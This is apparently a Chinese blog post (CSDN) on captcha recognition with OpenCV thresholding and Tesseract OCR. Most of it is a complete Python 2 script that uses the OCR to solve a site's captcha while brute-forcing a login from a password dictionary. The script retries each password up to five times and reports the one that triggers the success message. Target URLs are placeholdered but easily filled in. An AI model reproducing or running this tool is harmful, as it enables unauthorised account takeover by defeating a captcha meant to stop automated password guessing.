验证码识别续

目的:
之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …

构思:
学长说他的复杂,他是 openCV 处理 ,然后使用SVM 机器学习来识别,我之前的是利用 google 的 ORC 直接识别
最后成果是 ,使用 openCV 处理图片 , 处理过后效果比较好, ORC 识别情况还不错 , 所以没有使用 SVM 机器学习

效果图

我的理解:
低通滤波的效果相当于使模糊图片,减少噪点的影响,但是对识别数字 也有影响
高斯滤波是对某些点更为”照顾“
图像二值化,将图片变成只有黑白两种色
我没有用到滤波 ~~ 我觉得没有效果也不错 ~~

对我有帮助的连接:

    OpenCV Python教程(1、图像的载入、显示和保存)
    http://blog.csdn.net/sunny2038/article/details/9057415

    OpenCV-Python教程(5、初级滤波内容)
    http://blog.csdn.net/sunny2038/article/details/9155893

    图像的二值化之python+opencv
    http://blog.csdn.net/what_lei/article/details/49159655

    OpenCV 数字验证码识别  # C写的,有点遗憾 不过提供了主要的思路,帮助我写完了我的代码 #
    http://blog.csdn.net/monkeyduck/article/details/46932663

代码:

#coding:utf-8
import requests
import time
import Image
import pytesseract
import cv2
from optparse import OptionParser 

def cmdParse():
    parser = OptionParser()
    parser.add_option("-f",dest="dicPath",default=False,help="dict file path")
    parser.add_option("-u",dest="user",default=False,help="user name")
    parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com")

    (option, args) = parser.parse_args()
    return option.dicPath, option.url, option.user

############# 验证码除噪

def clearNoise():
    img = cv2.imread("img.jpg")
    grayImg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
    ret, twoImg = cv2.threshold(grayImg, 127, 255, cv2.THRESH_BINARY)
    cv2.imwrite("img.jpg",twoImg)

############# 验证码分析

def Analysis():
    clearNoise()
    image = Image.open("img.jpg")
    return pytesseract.image_to_string(image)

############# 验证码保存

def imgSave(s,url):
    urlCode = url + "/include/xxx.php"
    resp = s.get(urlCode)
    f = open("img.jpg","wb")
    f.write(resp.content)   
    f.close()

def Payload(user,pwd,vaCode):
    return {"userid":user ,"pwd":pwd ,"gotopage":"xxx",
        "dopost":"xxx" ,"xxx":"xxxx" ,"validate":vaCode}

def header():
    return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}

def main():
    i = 1
    xing = "*"
    truePwd = "......"
    dicPath, url, user = cmdParse()
    urlLogin = url + "/xxx/login.php"
    s = requests.session()
    # 打开字典文件
    for pwd in open(dicPath): 
        # 每条密码匹配5次
        for x in xrange(0,5):
            imgSave(s,url)
            vaCode = Analysis()
            print vaCode
            resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header())
            resp.encoding = resp.apparent_encoding

            print x,xing*40,pwd
            if u"成功登录,正在转向管理管理主页!" in resp.text:
                truePwd = pwd
            print "testing ........"
        if i%10==0:
            time.sleep(1)
        i = i + 1
    if truePwd != "......":
        print truePwd


if __name__ == '__main__':
    main()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值